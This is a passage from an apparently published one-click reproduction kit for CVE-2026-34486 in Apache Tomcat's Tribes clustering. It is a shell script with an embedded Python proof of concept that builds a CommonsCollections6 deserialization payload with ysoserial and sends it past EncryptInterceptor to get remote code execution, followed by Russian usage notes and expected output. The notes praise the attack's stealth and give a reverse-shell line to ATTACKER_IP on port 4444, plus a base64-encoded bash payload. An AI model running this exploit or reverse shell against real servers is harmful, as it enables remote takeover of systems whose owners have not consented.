    fail "Node1 Tribes 端口 ${NODE1_TRIBES_PORT} 未监听,集群启动可能失败"
fi
ok "集群已启动,Tribes 端口 ${NODE1_TRIBES_PORT} 已监听"

# 获取本机 IP
LOCAL_IP=$(hostname -I | awk '{print $1}')
info "本机 IP: ${LOCAL_IP}"

# 生成 payload
info "生成反序列化 Payload (CommonsCollections6)..."

# 检测 Java 主版本,决定是否需要 --add-opens
JAVA_MAJOR=$($JAVA_HOME/bin/java -version 2>&1 | head -1 | grep -oP '"\K\d+' | head -1)
ADD_OPENS=""
if [ "$JAVA_MAJOR" -ge 16 ]; then
    ADD_OPENS="--add-opens java.base/java.lang=ALL-UNNAMED --add-opens java.base/java.util=ALL-UNNAMED --add-opens java.base/java.lang.reflect=ALL-UNNAMED"
fi

$JAVA_HOME/bin/java $ADD_OPENS -jar "$WORKDIR/ysoserial.jar" \
    CommonsCollections6 "touch ${RCE_MARKER}" \
    > "$WORKDIR/payload_touch.bin" 2>/dev/null

if [ ! -s "$WORKDIR/payload_touch.bin" ]; then
    fail "Payload 生成失败"
fi
ok "Payload 生成成功 ($(wc -c < "$WORKDIR/payload_touch.bin") bytes)"

# 编写 Python PoC
cat > "$WORKDIR/exploit.py" << 'PYEXPLOIT'
#!/usr/bin/env python3
"""CVE-2026-34486 PoC - EncryptInterceptor Bypass"""
import socket, struct, sys, os, time

START_DATA = b"FLT2002"
END_DATA   = b"TLF003"
TRIBES_MBR_BEGIN = b"TRIBES-B\x01\x00"
TRIBES_MBR_END   = b"TRIBES-E\x01\x00"

def build_member_data(host_bytes, port):
    inner = b""
    inner += struct.pack(">q", 0)
    inner += struct.pack(">i", port)
    inner += struct.pack(">i", 0)
    inner += struct.pack(">i", 0)
    inner += struct.pack(">b", len(host_bytes))
    inner += host_bytes
    inner += struct.pack(">i", 0)
    inner += struct.pack(">i", 0)
    inner += os.urandom(16)
    inner += struct.pack(">i", 0)
    return TRIBES_MBR_BEGIN + struct.pack(">i", len(inner)) + inner + TRIBES_MBR_END

def build_channel_data(message_body, host_bytes, port):
    unique_id = os.urandom(16)
    member_data = build_member_data(host_bytes, port)
    cd = b""
    cd += struct.pack(">i", 0)
    cd += struct.pack(">q", int(time.time() * 1000))
    cd += struct.pack(">i", len(unique_id))
    cd += unique_id
    cd += struct.pack(">i", len(member_data))
    cd += member_data
    cd += struct.pack(">i", len(message_body))
    cd += message_body
    return cd

def send_exploit(target_ip, target_port, payload_file, receiver_port):
    with open(payload_file, 'rb') as f:
        raw_payload = f.read()
    host_bytes = socket.inet_aton(target_ip)
    channel_data = build_channel_data(raw_payload, host_bytes, receiver_port)
    packet = START_DATA + struct.pack(">i", len(channel_data)) + channel_data + END_DATA
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.settimeout(10)
    sock.connect((target_ip, target_port))
    sock.sendall(packet)
    try:
        sock.recv(4096)
    except socket.timeout:
        pass
    sock.close()

if __name__ == '__main__':
    send_exploit(sys.argv[1], int(sys.argv[2]), sys.argv[3], int(sys.argv[4]))
PYEXPLOIT

chmod +x "$WORKDIR/exploit.py"

# 发送攻击
info "发送攻击 Payload 到 ${LOCAL_IP}:${NODE1_TRIBES_PORT}..."
python3 "$WORKDIR/exploit.py" "$LOCAL_IP" "$NODE1_TRIBES_PORT" "$WORKDIR/payload_touch.bin" "$NODE1_TRIBES_PORT"

info "等待攻击生效 (5秒)..."
sleep 5

# ==================== 8. 验证结果 ====================
info "步骤 8/8: 验证漏洞触发..."

echo ""
echo "======================================================================"
echo -e "${RED}           CVE-2026-34486 复现结果${NC}"
echo "======================================================================"
echo ""

# 检查 RCE 标志文件
if [ -f "$RCE_MARKER" ]; then
    echo -e "  ${GREEN}✅ RCE 成功!${NC} 标志文件已创建:"
    echo ""
    ls -la "$RCE_MARKER"
    echo ""
else
    echo -e "  ${RED}❌ RCE 未触发${NC},标志文件 ${RCE_MARKER} 不存在"
    echo ""
fi

# 检查受害者日志
echo "  受害者日志 (解密失败记录):"
echo "  ----------------------------------------------------------------------"
grep -A3 "Failed to decrypt" "$WORKDIR/tomcat-node1/logs/catalina.out" 2>/dev/null | head -8 || echo "  (未找到解密失败日志)"
echo ""
echo "  受害者日志 (EncryptInterceptor 启动确认):"
echo "  ----------------------------------------------------------------------"
grep "EncryptInterceptor" "$WORKDIR/tomcat-node1/logs/catalina.out" 2>/dev/null | head -3 || echo "  (未找到 EncryptInterceptor 日志)"
echo ""
echo "  受害者日志 (集群成员发现):"
echo "  ----------------------------------------------------------------------"
grep "memberAdded" "$WORKDIR/tomcat-node1/logs/catalina.out" 2>/dev/null | head -2 || echo "  (未找到集群成员日志)"
echo ""

# 检查是否有反序列化异常(不应该有)
if grep -q "InvalidClassException\|ClassNotFoundException\|serialization" "$WORKDIR/tomcat-node1/logs/catalina.out" 2>/dev/null; then
    echo -e "  ${YELLOW}[!] 检测到反序列化异常日志(可能 gadget chain 不兼容)${NC}"
else
    echo -e "  ${GREEN}✅ 无反序列化异常日志 — payload 静默执行(攻击隐蔽性极高)${NC}"
fi

echo ""
echo "======================================================================"
echo ""
echo "  环境信息:"
echo "    - 工作目录:  ${WORKDIR}"
echo "    - Node1:     HTTP ${NODE1_HTTP_PORT}, Tribes TCP ${NODE1_TRIBES_PORT}"
echo "    - Node2:     HTTP ${NODE2_HTTP_PORT}, Tribes TCP ${NODE2_TRIBES_PORT}"
echo "    - Tomcat 版本: ${TOMCAT_VERSION} (漏洞版本)"
echo "    - RCE 标志:  ${RCE_MARKER}"
echo ""
echo "  清理命令:"
echo "    cd ${WORKDIR}/tomcat-node1 && bin/shutdown.sh"
echo "    cd ${WORKDIR}/tomcat-node2 && bin/shutdown.sh"
echo "    rm -f ${RCE_MARKER}"
echo "    rm -rf ${WORKDIR}"
echo ""
echo "======================================================================"

Инструкция по использованию скрипта в один клик

Предварительные требования:

  • Система Ubuntu 18.04+ / Debian 10+
  • Права root
  • Доступ к внешней сети (для загрузки Tomcat, ysoserial, Commons Collections)

Способ выполнения:```bash

保存脚本

chmod +x cve-2026-34486-repro.sh

一键运行

sudo ./cve-2026-34486-repro.sh

root@kitploit:~
**Скрипт выполнения**:

| Шаг | Содержание | Описание |
|------|------|------|
| 1 | Обнаружение и установка зависимостей | JDK 11, Python3, wget и др. |
| 2 | Создание рабочего каталога | `/opt/cve-2026-34486-lab` |
| 3 | Загрузка Tomcat 9.0.116 | Уязвимая версия, распаковка двух копий |
| 4 | Установка библиотеки Gadget | Commons Collections 3.1 → lib/ |
| 5 | Загрузка ysoserial | Инструмент генерации payload для десериализации |
| 6 | Настройка кластера | server.xml + EncryptInterceptor + web.xml |
| 7 | Запуск кластера и атака | Запуск → генерация CC6 payload → отправка через Python PoC |
| 8 | Проверка результатов | Проверка файла-маркера RCE + журналы жертвы |

**Ожидаемый результат**:```
[*] 步骤 8/8: 验证漏洞触发...

======================================================================
           CVE-2026-34486 复现结果
======================================================================

  ✅ RCE 成功! 标志文件已创建:

  -rw-r----- 1 root root 0 Apr 15 03:46 /tmp/CVE-2026-34486-PWNED

  受害者日志 (解密失败记录):
  ----------------------------------------------------------------------
  SEVERE [Tribes-Task-Receiver...] EncryptInterceptor.messageReceived
    Failed to decrypt message
  javax.crypto.IllegalBlockSizeException: Input length must be multiple of 16...

  ✅ 无反序列化异常日志 — payload 静默执行(攻击隐蔽性极高)

======================================================================

Пользовательские команды RCE:

Чтобы изменить команду атаки, отредактируйте переменную RCE_MARKER в скрипте и команду генерации ysoserial, например:```bash

修改为反弹 shell (需先编码)

bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1

Base64 编码后:

java -jar ysoserial.jar CommonsCollections6
"bash -c {echo,BASE64_ENCODED_COMMAND}|{base64,-d}|bash" \

payload_reverse.bin

root@kitploit:~
Скачать инструмент